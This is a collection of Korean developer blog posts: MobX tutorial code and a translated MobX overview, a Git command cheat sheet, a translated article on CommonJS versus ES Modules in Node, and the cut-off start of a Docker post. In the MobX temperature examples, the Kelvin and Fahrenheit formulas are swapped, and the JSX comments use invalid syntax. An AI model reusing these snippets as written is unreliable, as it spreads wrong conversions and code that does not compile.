    switch (this.unit) {
      case 'K':
        return this.temperatureKelvin + 'K'
      case 'F':
        return this.temperatureFahrenheit + 'F'
      case 'C':
        return this.temperatureCelsius + 'C'
      default:
        throw new Error('Unexpected unit.')
    }
  }
})()

const App = observer(({temperature}) => (
  <div>
    {temperature.temperature} <br />
    <button onClick={() => (temperature.unit = 'F')}>F</button>
    <button onClick={() => (temperature.unit = 'K')}>K</button>
    <button onClick={() => (temperature.unit = 'C')}>C</button>
  </div>
))

ReactDOM.render(<App temperature={t} />, document.getElementById('root'))
```

데코레이터를 사용하지 않고, 마찬가지로 `observable`만 사용해서 똑같이 구현할 수 있다.

```jsx
import {observable} from 'mobx'
import React from 'react'
import ReactDOM from 'react-dom'
import {observer} from 'mobx-react'

const t = observable({
  unit: 'C',
  temperatureCelsius: 25,
  temperatureKelvin: function () {
    console.log('calculating Kelvin')
    return this.temperatureCelsius * (9 / 5) + 32
  },
  temperatureFahrenheit: function () {
    console.log('calculating Fahrenheit')
    return this.temperatureCelsius + 273.15
  },
  temperature: function () {
    console.log('calculating temperature')
    switch (this.unit) {
      case 'K':
        return this.temperatureKelvin() + 'K'
      case 'F':
        return this.temperatureFahrenheit() + 'F'
      case 'C':
        return this.temperatureCelsius + 'C'
      default:
        throw new Error('Unexpected unit.')
    }
  },
})

const App = observer(({temperature}) => (
  <div>
    {temperature.temperature()} <br />
    <button onClick={() => (temperature.unit = 'F')}>F</button>
    <button onClick={() => (temperature.unit = 'K')}>K</button>
    <button onClick={() => (temperature.unit = 'C')}>C</button>
  </div>
))

ReactDOM.render(<App temperature={t} />, document.getElementById('root'))
```

array도 observable이 가능하다. 다만, 이전 포스트에서 얘기 한 것처럼, 진짜 자바스크립트의 array와는 다른 측면이 있기 때문에 처리에 주의 해야 한다.

```jsx
import { observable, computed, action, asMap } from "mobx";
import React from "react";
import ReactDOM from "react-dom";
import { observer } from "mobx-react";

class Temperature {
  id = Math.random();
  // 온도 단위와 온도를 추적
  @observable unit = "C";
  @observable temperatureCelsius = 25;

  @computed get temperatureKelvin() {
    console.log("calculating Kelvin");
    return this.temperatureCelsius * (9 / 5) + 32;
  }

  @computed get temperatureFahrenheit() {
    console.log("calculating Fahrenheit");
    return this.temperatureCelsius + 273.15;
  }

  // observable의 값이 바뀔 때마다, 자동으로 변경된 값을 리턴 (엑셀 처럼!)
  @computed get temperature() {
    console.log("calculating temperature");
    switch (this.unit) {
      case "K":
        return this.temperatureKelvin + "K";
      case "F":
        return this.temperatureFahrenheit + "F";
      case "C":
        return this.temperatureCelsius + "C";
      default:
        throw new Error("Unexpected unit.");
    }
  }

  // action을 정의할 수 있다.
  @action
  setUnit(newUnit) {
    this.unit = newUnit;
  }

  @action
  setCelsius(degrees) {
    this.temperatureCelsius = degrees;
  }

  @action("update temperature and unit")
  setTemperatureAndUnit(degrees, unit) {
    this.setCelsius(degrees);
    this.setUnit(unit);
  }
}

// 일반적인 array도 가능하다.
// const temps = observable([]);
// temps.push(new Temperature());
// temps.push(new Temperature());
// temps.push(new Temperature());

// array 선언
const temps = observable.map({
  Amsterdam: new Temperature(),
  Rome: new Temperature(),
  Seoul: new Temperature()
});

console.log(temps.entries());

const App = observer(({ temperatures }) => (
  <div>
   {* 진짜 javascript array와는 다르기 때문에 처리에 유의해야 한다. *}
   {* 참고: https://mobx.js.org/refguide/map.html *}
    {[...temperatures.entries()].map(([city, t]) => (
      <div key={t.id}>
        <div>
          ({city}) =&gt; {t.temperature}
        </div>
        <button onClick={() => t.setUnit("F")}>F</button>
        <button onClick={() => t.setUnit("K")}>K</button>
        <button onClick={() => t.setUnit("C")}>C</button>
      </div>
    ))}
  </div>
));

ReactDOM.render(<App temperatures={temps} />, document.getElementById("root"));
```

---

Source: https://yceffort.kr/2020/08/mobx-study-1.md
Title: MobX를 공부하자 (1)
Description: MobX 1페이지 요약에 대한 간단한 번역
Date: 2020-08-21
Tags: react, state-management

# MobX One Page Summary

[MobX One Page Summary](https://mobx.js.org/README.html)를 번역 및 요약 해보았습니다.

> derive는 적절한 단어가 생각이 안나서 '파생'으로 번역했습니다. 여기서 derive는 state(상태)를 변하게 하는 액션을 의미합니다.

## Table of Contents

## MobX

간단하고, 확장 가능한 상태 관리

## 설치

- 설치
  - 일반: `npm install mobx --save`
  - 리액트: `npm install mobx-react --save`
- CDN:
  - https://unpkg.com/mobx/lib/mobx.umd.js
  - https://cdnjs.com/libraries/mobx

## 브라우저 지원

- 버전 5이상 부터는 [ES6 proxy를 지원하는 모든 브라우저](https://kangax.github.io/compat-table/es6/#test-Proxy)에서 실행 가능하다. IE11, nodejs 6 미만 오래된 자바스크립트 코어를 가진 리액트 네이티브 안드로이드 등에서는 오류가 날 것이다.
- 버전 4는 모든 ES5를 지원하는 브라우저에서 동작하며, 계속해서 유지보수 될 것이다. 4와 5의 api 스펙은 동일하지만, 그러나 4에서는 [몇몇 제한](https://mobx.js.org/README.html#mobx-4-vs-mobx-5)이 있다.

> MobX 5 패키지의 진입지점에서는 모든 빌드 도구와의 역호환성을 위하여 ES5 코드가 함께 제공된다. 그러나 위에서 언급했던 것 처럼, 어차피 MobX 5는 모던 브라우저에서만 작동하므로 더빠르고 가벼운 빌드를 위해서 아래와 같은 웹팩 alias를 추가하기를 권한다.

```javascript
resolve: {
  alias: {
    mobx: __dirname + '/node_modules/mobx/lib/mobx.es6.js'
  }
}
```

## 참고해 볼 만한 것들

- https://egghead.io/courses/manage-complex-state-in-react-apps-with-mobx
- https://mobx.js.org/getting-started
- https://github.com/mobxjs/awesome-mobx#boilerplates
- https://github.com/mobxjs/awesome-mobx#related-projects-and-utilities
- https://github.com/mobxjs/awesome-mobx#awesome-mobx

## 소개

MobX는 함수형 반응형 프로그래밍을 적용하여 전역 상태 관리를 단순하고 확장 가능하게 만드는 라이브러리다. MobX의 철학은 간단하다.

> 애플리케이션 상태에서 파생될 수 있는 것은 모두 자동으로 파생되어야 한다.

![MobX-philosophy](https://mobx.js.org/assets/flow.png)

리액트와 MobX를 같이 쓰는 것은 매우 훌륭한 조합이다. 리액트는 렌더링 가능한 컴포넌트 트리를 변환하는 메커니즘을 바탕으로 애플리케이션 상태를 렌더링한다. MobX는 리액트가 사용하는 애플리케이션 상태를 저장하고, 업데이트 하는 메커니즘을 제공한다.

React와 MobX는 모두 애플리케이션 개발에서 발생하는 공통적인 문제에 대한 각각 고유한 최적의 해결책을 제공한다. 리액트는 비용이 많이드는 DOM 조작을 줄이기 위하여, 가장 DOM을 활용하여 UI를 최적으로 렌더링하는 메커니즘을 재공한다. MobX는 엄격하게 필요할 때만 업데이트 되고, 최신을 유지하는 반응형 가상 종속성 상태 그래프를 사용하여 애플리케이션 상태 값을 리액트 컴포넌트와 함께 최적으로 동기화 하는 메커니즘을 제공한다.

## 핵심 개념

MobX에는 몇가지 핵심 개념이 존재한다.

### Observable state (관찰 가능한 상태)

MobX는 객체, 배열, 클래스 인스턴스와 같은 기존 데이트 구조에 예측 가능한 기능을 추가한다. 이것은 단순히 @observable 데코레이터만 추가하면 된다.

```javascript
import {observable} from 'mobx'

class Todo {
  id = Math.random()
  @observable title = ''
  @observable finished = false
}
```

`observable`을 사용하는 것은 객체의 속성을 마치 스프레드시트 셀로 바꾸는 것과 같다. 이는 수정하면 다른 셀이 자동으로 재계산되거나, 그래프가 다시 렌더링 되거나, 다른 흥미로운 Reaction을 트리거할 수 있다. 스프레드시트 셀과 달리 `observable`한 값은 primitive한 값 뿐만 아니라, 참조 객체 및 배열도 될 수 있다.

만약 개발환경에서 데코레이터 문법을 지원하지 않는다면, [이 글](https://mobx.js.org/best/decorators.html)을 참조해봐도 좋다. 그게 아니라면 MobX는 데코레이터 문법을 지원하지 않아도 decorate 유틸리티를 활용해서 똑같이 구현할 수 있다. 대부분의 MobX 유저들은 데코레이터 문법을 선호하는데, 이는 데코레이터 문법이 조금더 간결하기 때문이다.

```javascript
import {decorate, observable} from 'mobx'

class Todo {
  id = Math.random()
  title = ''
  finished = false
}
decorate(Todo, {
  title: observable,
  finished: observable,
})
```

### Compute Values (자동 값 계산)

MobX를 활용하면, 관련 데이터가 수정될 때 자동으로 파생된 값을 정의할 수 있다. 이는 `@computed` 데코레이터나, 위에서 `observable`를 사용했다면, getter/setter 함수를 활용해서 구현할 수도 있다.

```javascript
class TodoList {
  @observable todos = []
  @computed get unfinishedTodoCount() {
    return this.todos.filter((todo) => !todo.finished).length
  }
}
```

MobX는 todo가 추가되너가 `finished` 값이 수정되면 `unfinishedTodoCount`를 자동으로 계산한다. 이는 마치 엑셀과 같은 스프레드시트 프로그램에서 자동으로 연산이 되는 것과 같다. 이들은 오로지 필요할 때만 자동으로 업데이트 된다.

### Reaction

Reaction은 Compute Values와 비슷하지만 값을 계산하는 대신 콘솔, 네트워크 요청, 리액트 컴포넌트 트리 업데이트 등 다른 부수효과를 만들어낸다. 간단히 말해, Reaction은 반응형과 명령형 프로그래밍 사이의 다리 같은 역할을 한다.

#### React Components

만약 리액트를 사용하고 있다면, `mobx-react` 패키지에 있는 [observer](http://mobxjs.github.io/mobx/refguide/observer-component.html) 함수/데코레이터를 추가하여 반응형 컴포넌트를 만들 수 있다.

```javascript
import React, {Component} from 'react'
import ReactDOM from 'react-dom'
import {observer} from 'mobx-react'

@observer
class TodoListView extends Component {
  render() {
    return (
      <div>
        <ul>
          {this.props.todoList.todos.map((todo) => (
            <TodoView todo={todo} key={todo.id} />
          ))}
        </ul>
        Tasks left: {this.props.todoList.unfinishedTodoCount}
      </div>
    )
  }
}

const TodoView = observer(({todo}) => (
  <li>
    <input
      type="checkbox"
      checked={todo.finished}
      onClick={() => (todo.finished = !todo.finished)}
    />
    {todo.title}
  </li>
))

const store = new TodoList()
ReactDOM.render(
  <TodoListView todoList={store} />,
  document.getElementById('mount'),
)
```

`observer`는 리액트 컴포넌트를 렌더링하는 데이터의 파생 요소로 변환한다. MobX를 사용하면, 모든 컴포넌트들은 스마트하게 렌더링되지만, 멍청한 방식으로 정의된다. MobX는 오직 필요할 때만 컴포넌트를 다시 렌더링하며 그 이상도 그 이하의 작업도 하지 않는다. 따라서 위의 예제에서, `onClick`핸들러는 적절한 `TodoView`를 렌더링 하도록 강제하고, 오직 완료되지 않는 task 숫자가 변경된 경우에 한해서 만 `TodoLIstView`를 렌더링하게 된다. 그러나 `Tasks left` 라인을 삭제하거나 (혹은 다른 컴포넌트로 분리하거나) 하는 경우에는 `TodoListView`는 더 이상 재 렌더링 되지 않는다.

#### Custom Reaction

사용자정의 Reaction은 상황에 맞게 [autorun](http://mobxjs.github.io/mobx/refguide/autorun.html) [reaction](http://mobxjs.github.io/mobx/refguide/reaction.html) when를 사용하면 간단하게 만들 수 있다.

예를 들어 `autorun`을 아래와 같이 활용하면, `unfinishedTodoCount`값이 바뀔 때마다 로그를 찍는다.

```javascript
autorun(() => {
  console.log('Tasks left: ' + todos.unfinishedTodoCount)
})
```

### 무엇이 MobX에서 반응하게 하는가?

왜 `unfinishedTodoCount`가 바뀔 때마다 새로운 메시지가 출력될까?

> MobX는 실제로 추적하는 함수의 실행 중에 읽는 모든 관측가능한 속성에 대해서 반응한다.

더 자세한 내용을 알고 싶다면 [이 글](https://mobx.js.org/best/react.html)을 참고하면 된다.

### Actions

다른 flux 프레임워크와는 다르게, MobX에서는 사용자 이베트를 어떻게 처리해야하는지에 대한 의견이 분분하다.

- Flux와 같은 방식으로 처리하기
- RxJS를 활용
- `onClick`핸들러와 같은 가장 간단하고 직관적인 방식으로

결국 이 모든 것들은 한가지로 요약할 수 있다: 어떻게든 상태를 업데이트해야 한다.

상태를 업데이트 한 이후에, MobX는 효율적이고 결함이 없는 방식으로 나머지 동작을 처리한다. 따라서 아래와 같이 간단한 코드는 인터페이스를 자동으로 업데이트 하기에 충분하다.

이벤트를 트리거하거나, dispatcher를 호출하는 등의 기술적인 필요성은 존재하지 않는다. 리액트 컴포넌트는 결국 상태를 멋있게 표현하는 방식에 지나지 않는다. 이는 MobX가 관리하게 된다.

```javascript
store.todos.push(new Todo('Get Coffee'), new Todo('Write simpler code'))
store.todos[0].finished = true
```

그럼에도 불구하고, MobX에는 선택적으로 활용할 수 있는 빌트인 개념인 [action](https://mobx.js.org/refguide/action.html)을 활용할 수 있다. 비동기 액션을 처리하는 방법에 대해 알고 싶다면, 이 글을 읽어보는 것도 좋다. 이는 매우 쉽고, 코드를 더 잘 구성하고 언제 어디서 수정되어야 하는지에 대한 현명한 결정을 내리는데 도움을 준다.

## MobX: 간단하고, 확장가능한

MobX는 글로벌 상태 관리에 사용할 수 있는, 가장 방해요소가 적은 라이브러리다. 이는 MobX 접근 방식을 단순하게 할 뿐만 아니라, 확장성도 매우 뛰어나게 만든다.

### 클래스와 실제 참조 활용

MobX를 사용하면, 데이터를 정규화 할 필요가 없다. 이는 매우 복잡한 도메인 모델에서도 라이브러리를 적절하게 활용할 수 있다.

### 참조 무결성 보장

데이터는 정규화 될 필요가 없고, MobX는 자동으로 상태와 파생 간의 관계를 추적하기 때문에, 참조 무결성을 공짜로 얻을 수 있다. MobX는 상태를 추적해서, 참조자 중 하나가 바뀔 때마다 다시 렌더링하게 된다. 프로그래머는 컴포넌트에 영향을 미친다는 사실을 잊을 수도 있지만, MobX는 그렇지 않다.

### 간단한 액션은 관리를 쉽게 한다

위에서 설명했듯, MobX를 사용하면 상태를 수정하는 것은 매우 간단해진다. 단순히 의도를 코딩하면 된다. 나머지는 MobX가 알아서 한다.

### 효율적인 세밀한 관측

MobX는 애플리케이션의 모든 파생에 대한 그래프를 구축하여, 무결성을 방지하는데 필요한 최소한의 계산 수를 연산한다. "모든 파생" 이라는 것이 비싸게 들릴 수 있지만, 가상 파생 그래프를 구축하여 데이터를 상태와 동기화 시키는데 필요한 재조합수를 최소화 한다.

### 간편한 상호운용성

Mobx는 순수 자바스크립트 구조로 작동한다. 따라서 MobX가 작동하기 위해서 특정 라이브러리를 필요로 하지 않는다. 따라서 지금 사용하고 있는 다양한 라이브러리와도 호환된다. 같은 이류로 서버와 클라이언트, 리액트 네이티브 등에서도 활용가능하다. 이러한 결과 MobX를 사용할 때 다른 상태 관리 솔루션에 비해 새로운 개념을 덜 알아도 된다.

> 실제로 [dependencies에 아무것도 없다.](https://github.com/mobxjs/mobx/blob/6ec6499fb8b55a17fe65f42b14d1188fd7fa1ba1/package.json#L58)

## MobX 4와 5의 차이

위 두 버전의 차이는, 5에서는 속성값 추적을 위해서 `Proxies`를 활용했다는 것이다. 그 결과 MobX 5에서는 Proxy를 지원하는 브라우저에서만 사용할 수 있고, MobX는 ES5가 작동하는 모든 환경에서 사용 가능하다.

MobX4에서 유념해야할 한계점은

- Observable arrays는 진짜 array가 아니어서, `Array.isArray()`를 통과하지 못한다. 따라서 다른 써드 파티라이브러리에서 이를 활용하기 전에 `slice()`등을 활용할 필요가 있다.
- 기존 observable 객채에 속성을 추가하는 것은 자동으로 선택되지 않는다. 따라서 observable 맵을 활용하거나, 빌트인 유틸리티 함수를 활용해야 한다. [참고](https://mobx.js.org/refguide/object-api.html)

---

Source: https://yceffort.kr/2020/08/git-cheat-sheat.md
Title: Git Cheat Sheet
Description: 이제 git도 GUI 대신에 커맨드를 활용해서 작업해보자.
Date: 2020-08-21
Tags: git

여기저기 잘 만들어져 있는 Git Cheat Sheet를 모아서 한글로 번역해 보았다. 작성시 `[]`는 제거해야 한다.

## Table of Contents

## SETUP

- `git config --global user.name "[firstname lastname]"`: git에서 사용할 글로벌 이름을 설정한다.
- `git config --global user.email "[valid-email]"`: git에서 사용할 글로벌 이메일을 설정한다.
- `git config --global color.ui auto`: git 리뷰를 쉽게할 수 있도록 커맨드라인에 자동으로 색깔을 칠해준다.

## SETUP & INIT

- `git init`: git repository 초기화
- `git clone [url]`: URL을 통해서 git repository를 클론한다.

## STAGE & SNAPSHOT

- `git status`: 작업중인 디렉토리에서 변경된 파일 목록을 보여준다.
- `git add [file]`: 다음 커밋에 추가될 파일 (스테이징할)을 추가한다.
- `git reset [file]`: 작업중인 디렉토리에서 스테이징 된 파일을 다시 unstage 상태로 되돌린다.
- `git reset --hard [file]`: 스테이징 영역과 작업 디렉토리를 가장 최근 커밋과 일치하도록 리셋하고, 작업 디렉토리의 모든 변경사항을 엎어버린다.
- `git reset [commit]`: 현재 브랜치를 커밋ID 쪽으로 되돌리고, 모든 스테이징되어 있는 변경사항을 되돌리지만, 작업중인 내용은 되돌리지 않는다.
- `git reset --hard [commit]`: 스테이징영역과 작업중인 영역 모두를 리셋해 버린다. 커밋되지 않는 변경내역은 모두 날라가고, commit 이후의 내용도 모두 날라간다.
- `git diff`: 스테이징되지 않은 파일들 중에서 diff를 확인한다.
- `git diff --staged`: 스테이징된 파일들 중에서 diff를 확인한다.
- `git commit -m "[message]"`: 스테이징된 파일을 메시지와 함께 커밋한다.
- `git commit --amend`: 가장 마지막 커밋을 현재 스테이징되어 있는 내용가 마지막 커밋을 병합한다. 스테이징과 별도로 사용한다면, 단순히 커밋 메시지를 변경하는 용도로도 사용할 수 있다.

## BRANCH & MERGE

- `git branch`: 브랜치 목록을 보여준다. `*`이 떠있는 브랜치는 현재 활성화된 브랜치를 의미한다.
- `git branch [branch-name]`: 현재 커밋을 기준으로 새로운 브랜치를 만든다.
- `git checkout [branch-name]`: 다른 브랜치로 변경 한다음, 해당 내용을 작업중인 브랜치로 가져온다.
- `git merge [branch-name]`: 특정 브랜치의 작업 내용을 현재 브랜치와 병합한다.

## INSPECT & COMPARE

- `git log`: 현재 브랜치의 모든 커밋 히스토리를 보여준다.
- `git log [branchB]..[branchA]`: 브랜치A의 커밋중 브랜치B에 없는 히스토리를 보여준다.
- `git log --follow [file]`: 파일명 변경까지 포함해서 해당 파일의 커밋을 보여준다.
- `git diff [branchB]...[branchA]`: 브랜치A를 기준으로 브랜치B와 다른 내용을 보여준다.
- `git show [SHA]`: 사람이 읽을 수 있는 형태로 모든 오브젝트를 보여준다.

## TRACKING PATH CHANGES

- `git rm [file]`: 해당 파일을 삭제하고, 스테이지에서도 이를 제거한다.
- `git mv [existing-path] [new-path]`: 파일 위치를 변경하고 스테이지에 이를 기록한다.
- `git log --stat -M`: 경로가 이동한 모든 커밋 로그를 보여준다.

## IGNORING PATTERNS

```text
logs/
*.notes
pattern*/
```

git이 무시하기를 원하는 파일들의 패턴을 `.gitignore`에 기록해 둔다.

- `git config --global core.excludesfile [file]`: 시스템 레벨에서 모든 레파지토리에서 무시할 파일을 설정한다.
- `git remote add [alias] [url]`: git URL을 별칭과 함께 추가한다.
- `git fetch [alias]`: Git remote에서 모든 브랜치를 패치한다.
- `git merge [alias]/[branch]`: 현재 브랜치에다가 리모트 브랜치의 최신내용을 병합한다.
- `git push [alias] [branch]`: 로컬 브랜치 커밋을 리모트 레파지토리의 브랜치에 전송한다.
- `git pull`: 리모트 브랜치에서 추적하고 있는 모든 커밋을 패치하고 병합하여 최신화 한다.

## REWRITE HISTORY

- `git rebase [branch]`: 현재 브랜치보다 앞서있는 모든 변경 내용 (커밋)을 땡겨와서 적용한다.
- `git reset --hard [commit]`: 스테이징 영역에 있는 것을 모두 클리어하고, 특정 커밋 버전으로 모든 작업내용을 덮어써버린다.

## TEMPORARY COMMITS

- `git stash`: 현재 수정되거나 스테이징되어 있는 변경사항을 모두 저장한다.
- `git stash list`: stack 순서로 되어 있는 모든 stash 목록을 보여준다.
- `git stash pop`: stash stack 최상단에 있는 변경사항을 적용한다.
- `git stash drop`: stash stack 최상단에 stash를 제거한다.

### References

- https://education.github.com/git-cheat-sheet-education.pdf
- https://www.atlassian.com/git/tutorials/atlassian-git-cheatsheet

---

Source: https://yceffort.kr/2020/08/commonjs-esmodules.md
Title: CommonJS와 ES Modules은 왜 함께 할 수 없는가?
Description: [이 글](https://redfin.engineering/node-modules-at-war-why-commonjs-and-es-modules-cant-get-along-9617135eeca1)을 번역 요약한 글입니다. ## CommonJS와 ES Modules은 왜 함께 할 수 없는가?  [노드14](https://nodejs.org/en/blog/r...
Date: 2020-08-11
Tags: javascript, nodejs

[이 글](https://redfin.engineering/node-modules-at-war-why-commonjs-and-es-modules-cant-get-along-9617135eeca1)을 번역 요약한 글입니다.

## CommonJS와 ES Modules은 왜 함께 할 수 없는가?

[노드14](https://nodejs.org/en/blog/release/v14.0.0/) 에서는 옛날 스타일의 CommonJS와 (이하 CJS) 새로운 스타일의 ESM Scripts (이하 MJS) 두개가 공존하고 있다. CJS의 경우 `require()`와 `module.exports`를 사용하며, ESM은 `import`와 `export`를 사용한다.

> 정확히는 ECMAScript Modules - Experimental Warning Removal 이다.

ESM과 CJS는 태생부터 완전히 다르다. 일단 겉으로 보기엔, ESM은 CJS와 비슷한 면이 있지만, 이를 구현한 것은 완전히 다르다. ESM에서 CJ를 서로 호출 할 수는 있지만, 꽤나 귀찮은 일이다.

1. ESM에서는 `require()`를 사용할 수는 없다. 오로지 `import`만 가능하다.
2. CJS도 마찬가지로 `import`를 사용할 수는 없다.
3. ESM에서 CJS를 `import`하여 사용할 수 있다. 그러나 오로지 default import만 가능하다. `import _ from 'lodash'` 그러나 CJS가 named export를 사용하고 있다면 named import `import { shuffle } from 'lodash`와 같은 것은 불가능하다.
4. ESM을 CJS에서 `require()`로 가져올 수는 있다. 그러나 이는 별로 권장되지 않는다. 그 이유는 이를 사용하기 위해서는 더 많은 boilerplate가 필요하고, 최악의 경우 Webpack이나 Rollup 같은 번들러도 필요 하다. 그 이유는, ESM가 `require()`에서 어떻게 동작해야 하는지 모르기 때문이다.
5. CJS는 기본값으로 지정되어 있다. 따라서 ESM 모드를 사용하기 위해서는 opt-in해야 한다. `.js`를 `.mjs`로 바꾸거나, `package.json`에 `"type": "module"` 옵션을 넣는 방법이 있다. (기존에 CJS를 쓰던 것은 `.cjs`로 바꾸면 된다.)

이러한 규칙은 고통스럽다. 이는 다양한 유저들, 특히 노드 뉴비들에게는 이해하기 어려운 과정이다.

이러한 규칙들은 고통스럽지만(?) 그 규칙 나름대로 앞으로 살펴볼 이유가 있어, 미래에도 이러한 규칙을 어기기에는 매우 어려워 질 것이다. 이 아티클에서는 자바스크립트 라이브러리 작성자들을 위한 다음 세가지 유용한 정보를 제공할 것이다.

- 라이브러리를 CJS 버전으로 제공하기
- CJS 라이브러리에 ESM 래퍼를 씌우기
- package.json에 exports map을 추가하기

## CJS와 ESM은 무엇인가?

Nodejs 초창기에는, Node 모듈은 CommonJS 모듈로 작성되었다. 따라서 `require()`로 이들을 사용했다. 다른 개발자들이 이를 사용하게 하기 위해서, `exports`를 정의하거나 named exports라 불리우는 `module.exports.foo = 'bar`를 사용하거나, 기본 값으로 `module.exports = 'baz`를 사용하기도 했다.

다음은 named exports 의 예시다.

```javascript
// @filename: util.cjs
module.exports.sum = (x, y) => x + y
// @filename: main.cjs
const {sum} = require('./util.cjs')
console.log(sum(2, 4))
```

다음은 default exports의 예시로, 따로 이름을 정해두지 않으면 default로 설정된다.

```javascript
// @filename: util.cjs
module.exports = (x, y) => x + y
// @filename: main.cjs
const whateverWeWant = require('./util.cjs')
console.log(whateverWeWant(2, 4))
```

ESM 스크립트에서는, `import`와 `export`가 언어의 일부로 추가되었다. CJS와 비슷하게, named exports와 default exports를 지원하는 두가지 문법이 존재한다.

다음은 named exports 의 예시다.

```javascript
// @filename: util.mjs
export const sum = (x, y) => x + y
// @filename: main.mjs
import {sum} from './util.mjs'
console.log(sum(2, 4))
```

다음은 default export의 예시다. CJS와 마찬가지로, 별도로 이름을 지정해두지 않아도 된다.

```javascript
// @filename: util.mjs
export default (x, y) => x + y
// @filename: main.mjs
import whateverWeWant from './util.mjs'
console.log(whateverWeWant(2, 4))
```

## ESM과 CJS는 완전히 다르다.

CommonJS에서는 `require()`는 동기로 이루어진다. 따라서 promise나 콜백 호출을 리턴하지 않는다. `require()`는 디스크로 부터 읽어서 (네트워크 일수도 있다) 그 즉시 스크립트를 실행한다. 따라서 스스로 I/O나 부수효과 (side effect)를 실행하고 `module.exports`에 설정되어 있는 값을 리턴한다.

반면에 ESM은 모듈 로더를 비동기 환경에서 실행한다. 먼저 가져온 스크립트를 바로 실행하지 않고, `import`와 `export`구문을 찾아서 스크립트를 파싱한다. 파싱 단계에서, 실제로 ESM 로더는 종속성이 있는 코드를 실행하지 않고도도, named imports에 있는 오타를 감지하여 에러를 발생시킬 수 있다.

그 다음 ESM 모듈 로더는 가져온 스크립트를 비동기로 다운로드 하여 파싱한다음, import된 스크립트를 가져오고, 더 이상 import 할 것이 없어질 때까지 import를 찾은 다음 dependencies의 모듈 그래프를 만들어 낸다. 그리고, 스크립트는 실행될 준비를 마치게 되며, 그 스크립트에 의존하고 있는 스크립트들도 실행할 준비를 마치게 되고, 마침내 실행된다.

ESM 모듈 내의 모든 자식 스크립트들은 병렬로 다운로드 되지만, 실행은 순차적으로 진행된다.

## CJS는 기본 값이다. 왜냐면 ESM은 바뀔게 넘 많아서

ESM은 자바스크립트의 많은 부분에 변경이 필요하다. ESM은 일단 기본 값으로 `use strict`가 설정되어 있어야하고, `this`는 global object를 참조하지 않고, 스코프는 다르게 작동 되는 등등 변화가 많다.

이것이 브라우저에서 조차 `<script>`가 ESM을 기본으로 지정하지 않는 이유다. ESM을 사용하기 위해서는 `type="module"`을 추가해 주어야 한다.

기본 값을 CJS에서 ESM으로 바꾸는 것은 호환성을 해치는 문제가 된다. (node의 대안으로 주목받고 있는 deno는 ESM을 기본값으로 사용하지만, 결과적으로 모든 생태계를 처음부터 다시 설계해야 했다.)

## 톱레벨에 존재하는 await 때문에 CJS는 ESM을 `require()`할 수 없다.

CJS가 ESM을 `require()` 하지 못하는 가장 단순한 이유는, ESM는 top level에서 `await`을 할 수 있지만, CJS는 그렇지 못하기 때문이다. 여기서 말하는 [top-level await](https://v8.dev/features/top-level-await)은 `async function` 밖에서 `await`을 사용하게 해주는 것이다.

해당 V8 블로그 포스트 글을 인용하자면

> [이 gist](https://gist.github.com/Rich-Harris/0b6f317657f5167663b493c722647221)에서 top-level await에 대한 우려와 함께, 자바스크립트가 미래에 해당 기능을 구현하지 말하야 하는 이유에 대해 논의 한 적이 있다. 여기서 우려하는 사안은
>
> - top-level await은 코드 실행을 블로킹할 수 있다.
> - top-level await은 리소스를 가져오는 것을 블로킹할 수 있다.
> - commonjs에서 이를 명확히 구현할 수 없다.
>   그리고 이 3가지 문제점에 대해서, stage 3 제안에서 다음과 같이 언급한다.
> - siblings 코드가 실행 가능하므로, 결정적인 블로킹 포인트가 없다.
> - top-level await은 모듈 그래프의 실행 단계에서 이루어 진다. 이 지점에서는, 모든 리소스들이 이미 fetch 되고 링크 되어 있다. 따라서 리소스 fetch를 블로킹할 염려는 없다.
> - top-level await은 오로지 [ESM]에서만 논의 될 문제다. CommonJS 모듈에서는 이를 지원할 계획이 없다.

[ESM을 `require()` 하는 방법에 대한 논의가 이어지고는있지만,](https://github.com/nodejs/modules/issues/454) 빠른 시일 내에 이것이 실현 되기는 어려워 보인다.

## CJS는 ESM에서 `import`할 수는 있지만, 썩 훌륭해보이지는 않는다.

```javascript
;(async () => {
  const {foo} = await import('./foo.mjs')
})()
```

## ESM은 cjs의 named exports를 import 할 수 없다.

이것은 가능하지만

```javascript
import _ from './lodash.cjs'
```

이것은 불가능하다.

```javascript
import {shuffle} from './lodash.cjs'
```

CJS는 named exports를 실행단계에서 연산하지만, ESM은 named exports를 파싱 단계에서 연산하기 때문이다.

다행히 이를 우회할 수 있는 방법은 있다.

```javascript
import _ from './lodash.cjs'
const {shuffle} = _
```

> 하지만 이방법은 tree shaking이 되지 않으므로 번들링 시 사이즈가 커지게 된다.

그러나 이 방법이 순서까지도 보장해주는 것은 아니다.

```javascript
import liquor from 'liquor'
import beer from 'beer'
```

만약 `liquor` `beer`모두 cjs로 되어 있다면 그 순서가 반드시 `liquor`, `beer`가 되는 것은 아니다. `beer`가 `liquor`가 반드시 실행되어야 하는 상황이라면 더욱 문제가 커질 수 있다.

## CJS와 ESM을 모두 지원하는 방법

### CJS 버전으로 라이브러리를 제공해라

이는 CJS 유저들에게도 친숙하고, 오래된 노드버전도 지원가능하다. 타입스크립트로 작성할 경우, JS > CJS로 트랜스파일하면 된다.

## CJS 라이브러리에 ESM 래퍼를 제공해라

```javascript
import cjsModule from '../index.js'
export const foo = cjsModule.foo
```

ESM 래퍼를 `esm` 디렉토리에 두고, `package.json` 에 `{"type": "module"}` 을 추가하자. `.mjs`로 이름을 변경하는 것도 방법이지만, 일부 툴에서 제대로 작동하지 않으므로 별도의 디렉토리에 넣는 것을 선호한다.

트랜스파일링이 중복으로 되는 것을 피해야 한다. 만약 typescript에서 트랜스파일링한다면, 이를 CJS와 ESM 두개 모두로 트랜스파일링 할 수 있지만, 이는 사용자가 실수로 `import`하거나 `require`하는 일이 발생하게 된다.

### `package.json`에 `exports` 를 추가하라

```json
"exports": {
    "require": "./index.js",
    "import": "./esm/wrapper.js"
}
```

한가지 명심해야 할 것은, `exports`를 추가하는 것은 시멘틱 버저닝의 브레이킹 체인지 (메이저 버전 업)을 가져온다는 것이다. 그리고 항상 온전한 파일명 `index.js`가 들어가야 한다. `index` 나 `./build`가 들어가서는 안된다.

https://nodejs.org/api/esm.html#esm_package_entry_points

---

Source: https://yceffort.kr/2020/08/docker-study-3.md
Title: Docker 공부 (3) - 도커 이미지
Description: ## 도커 이미지 npm에서 다양한 도커 관련 패키지를 관리하듯, 도커는 기본적으로 [Docker Hub](https://hub.docker.com/)라는 중앙 이미지 저장소에서 다양한 이미지를 내려받을 수 있다. Docker Hub는 도커가 제공하고 있는 이미지 저장소로, 누구나 도커 계정을 가지고 있다면 쉽게 이미지를 공유할 수 있다.  `docker...
Date: 2020-08-09
Tags: docker

## 도커 이미지

